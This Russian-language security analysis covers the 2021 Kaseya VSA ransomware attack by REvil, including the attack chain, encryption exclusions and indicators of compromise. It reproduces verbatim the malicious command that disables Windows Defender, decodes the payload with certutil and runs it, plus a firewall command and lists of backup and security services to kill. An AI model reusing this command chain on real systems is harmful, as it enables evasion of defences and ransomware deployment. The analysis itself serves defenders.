3 июля в 10:00 по североамериканскому восточному времени серверы VSA компании Kaseya выпустили зараженное вирусом исправление, которое распространилось на управляемые компанией Kaseya cерверы, что привело к компрометации и шифрованию тысяч узлов на сотнях различных предприятиях.

 Это исправление содержало вирус-вымогатель под названием Sodinokibi, разработанный печально известной группировкой REvil, что привело к шифрованию сервера и папок с общим доступом.

 Kaseya VSA — популярное программное обеспечение для удаленного управления сетью, используемое многими поставщиками услуг по управлению ИТ-инфраструктурой (Managed Security Providers, или MSP). ПО для управления сетью — идеальное место для организации бэкдора, поскольку у таких систем обычно широкие возможности доступа и множество задач, что затрудняет контроль над ними.

 В отличие от атаки логистической цепочки компании SolarWinds, при которой были скомпрометированы серверы обновлений SolarWinds, какие-либо признаки взлома инфраструктуры Kaseya отсутствуют.

 Злоумышленники использовали уязвимые серверы VSA с выходом в Интернет, обычно предшествующие многим устройствам-жертвам  в сетях MSP, используя их в качестве бэкдоров, что затруднило (или даже сделало невозможным) обнаружение либо предотвращение заражения жертвами по мере того, как вирус перемещался от серверов к подключенным устройствам.

 Кроме того, поскольку обновления обычно распространяются на множество узлов, для зараженных организаций процесс восстановления может оказаться непростым. Радиус поражения одного скомпрометированного пользователя или конечной точки обычно очень большой, поскольку у среднестатистического пользователя, как правило, есть доступ к миллионам файлов, которые ему не нужны. У администраторов или серверов с административными правами масштабы поражения просто огромны.

 Множество организаций по всей Европе и в Азиатско-Тихоокеанском регионе были вынуждены полностью остановить работу на время восстановления.

Кто виноват?

Ответственность за заражение вязала на себя REvil — одна из самых активных в мире группировок, использующих вирусы-вымогатели, указав об этом в своем блоге. Ее платежный портал работает в онлайн-режиме, и она активно ведет переговоры с жертвами.

Группировка REvil сообщила о заражении более миллиона систем, но по состоянию на 6 июля, согласно отчетам Bleeping Computer, среди пострадавших — примерно 60 прямых клиентов Kaseya, в результате чего были скомпрометированы от 800 до 1 500 компаний.

С чего началась атака?

Вероятнее всего, серверы Kaseya VSA оказались уязвимыми к внедрению SQL-кода, что позволило злоумышленникам использовать их удаленно. Данной уязвимости присвоен уровень CVE-2021–30116.

В отличие от предыдущих атак REvil, при которых требовалось очень много времени для проникновения и перед срабатыванием вируса-вымогателя выполнялась тщательная эксфильтрация данных, эта атака произошла очень быстро.

Похоже, что злоумышленники знали о необходимости опередить разработку патча. Исследователь в области безопасности Виктор Геверс (@ 0xDUDE) и специалисты DIVD.nl обнаружили уязвимость Kaseya и совместно работали над патчем, но REvil опередила их:

Знала ли группировка REvil о предстоящем выходе патча? Возможно, она перехватила сообщения между DIVD.nl и Kaseya? Пока эти вопросы остаются открытыми.

Как сократить риски

  • Если в вашей организации работает сервер VSA Kaseya, немедленно отключите и изолируйте его;

  • Используйте инструмент обнаружения Kaseya;

  • Просмотрите список хешей и IP-адресов, приведенных в конце этой статьи. Если они присутствуют в ваших журналах, есть большая вероятность взлома, и вам следует как можно скорее инициировать процедуру реагирования на инциденты;

  • Если в вашей среде используется VSA, сначала выполните первый шаг, а затем просмотрите записи/оповещения о доступе необычных соединениях со стороны сервера VSA или связанных с ним учетных записей.

Распространение вируса

По данным различных источников, вирус распространялся вместе с исправлением для клиентов Kaseya.

После выпуска исправление создает папку на диске C: под названием kworking, что считается нормой для него.

 В папке — 2 файла:

  • agent.txt

  • agent.crt

 После завершения записи на диск исправление запускает несколько процессов для подготовки устройства к заражению:

C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Данный длинный сценарий PowerShell (выполняемый с высокими привилегиями как часть процесса обновления Kaseya) выполняет следующие шаги:

  1. Прекращение мониторинга в реальном времени со стороны Windows Defender, мониторинга сети, защиты папок, сканирования сценариев и файлов в реальном времени, IPS на основе хоста, автоматической отправки в облако и включение режима аудита;

  2. Расшифровка "сброшенного" сертификата для использования вирусом с помощью утилиты Windows certutil;

  3. Удаление артефактов.

После завершения подготовки вирус заменяет исходный файл MsMpEng.exe устаревшей версией легитимного файла, поэтому, хотя исполняемый файл «чист», в нем содержится уязвимость, позволяющая устанавливать модуль шифрования (DLL), запуская его в качестве службы для шифрования устройства с более высокими привилегиями.

Инфицирование

Вредоносный файл MsMpEng.exe перенумеровывает сетевые и физические диски и процессы и начинает процесс шифрования на сервере.

 Вирус-вымогатель заносит в белый список следующие элементы и пропускает их шифрование:

 Расширения:

  1. *.ps1,*.ldf,*.lock,*.theme,*.msi,*.sys,*.wpx,*.cpl,*.adv,*.msc,*.scr,*.bat,*.key,*.ico,*.dll,*.hta,*.deskthemepack,*.nomedia,*.msu,*.rtp,*.msp,*.idx,*.ani,*.386,*.diagcfg,*.bin,*.mod,*.ics,*.com,*.hlp,*.spl,*.nls,*.cab,*.exe,*.diagpkg,*.icl,*.ocx,*.rom,*.prf,*.themepack,*.msstyles,*.lnk,*.icns,*.mpa,*.drv,*.cur,*.diagcab,*.cmd,*.shs

 Файлы:

  1. "ntldr", "thumbs.db", "bootsect.bak", "autorun.inf", "ntuser.dat.log", "boot.ini", "iconcache.db", "bootfont.bin", "ntuser.dat", "ntuser.ini", "desktop.ini"

 Папки:

  1. "program files", "appdata", "mozilla", "$windows.~ws", "application data", "$windows.~bt", "google", "$recycle.bin", "windows.old", "programdata", "system volume information", "program files (x86)", "boot", "tor browser", "windows", "intel", "perflogs", "msocache"

 Кроме того, вирус пытается остановить следующие процессы и службы:

 Процессы:

  1. "encsvc", "powerpnt", "ocssd", "steam", "isqlplussvc", "outlook", "sql", "ocomm", "agntsvc", "mspub", "onenote", "winword", "thebat", "excel", "mydesktopqos", "ocautoupds", "thunderbird", "synctime", "infopath", "mydesktopservice", "firefox", "oracle", "sqbcoreservice", "dbeng50", "tbirdconfig", "msaccess", "visio", "dbsnmp", "wordpad", "xfssvccon"

 Службы:

  1. "veeam", "memtas", "sql", "backup", "vss", "sophos", "svc$", "mepocs"

С учетом конфигурации Sodinokibi этой атаки сетевое соединение со злоумышленниками было фактически отключено. И это несмотря на то, что конфигурация содержала 1 223 уникальных домена C2, которые не относились к атаке.  Ни червей (после использования уязвимости PrintNightmare), ни попыток установить маяки и связаться с сервером C2 во время процесса заражения не наблюдалось, что указывает на истинные цели и приоритеты злоумышленников.

 Как правило, соединения C2 связаны с атаками, использующими принцип "тише едешь — дальше будешь" и/или выполняющими эксфильтрацию для "двойного вымогательства" (double-extortion). Пока что эта атака больше похожа на атаку только с шифрованием и "одинарным" вымогательством для максимального воздействия.

Однако можем предположить, что во время установки исправления для сбора данных телеметрии о количестве затронутых компаний.

В рамках этой кампании наблюдались два уникальных мьютекса:

  • “HKLM\SOFTWARE\Wow6432Node\BlackLivesMatter

  • “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” -> “DefaultPassword”=”DTrump4ever

BlackLivesMatter был частью вируса REvil Sodinokibi, обнаруженного в ходе предыдущих атак, которые начались в январе 2019 года, в то время как второй мьютекс является новым.

 Кроме того, вирус пытается отключить брандмауэр и обеспечить последующее обнаружение сети с помощью Defender в качестве резерва (работа брандмауэра и Defender уже остановлена):

  1. netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes

Результат

Индикаторы компрометации

На рабочем столе и диске C:\ появляется записка с требованием выкупа со ссылкой на сайт для переговоров.

 IP-адреса

  • 18[.]223[.]199[.]234

  • 161[.]35[.]239[.]148

  • 193[.]204[.]114[.]232

Хеши файлов (SHA-256)

Mpsvc.dll (MpsVc.dll, MpsVc, mpsvc.dll, MpsVc_.dll):

  • d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20

  • d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f

  • cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6

  • 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402

  • 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd

srnmp.exe:

  • 1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e

svchost.exe:

  • 66490c59cb9630b53fa3fa7125b5c9511afde38edab4459065938c1974229ca8

Updater.exe:

  • dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f

p.exe.TXT:

  • aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7

agent.exe:

  • d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e

Общие образцы, без уникальных имен:

  • e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2

  • df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e

  • 81d0c71f8b282076cd93fb6bb5bfd3932422d033109e2c92572fc49e4abc2471

  • 8e846ed965bbc0270a6f58c5818e039ef2fb78def4d2bf82348ca786ea0cea4f

  • 36a71c6ac77db619e18f701be47d79306459ff1550b0c92da47b8c46e2ec0752

  • 45AEBD60E3C4ED8D3285907F5BF6C71B3B60A9BCB7C34E246C20410CF678FC0C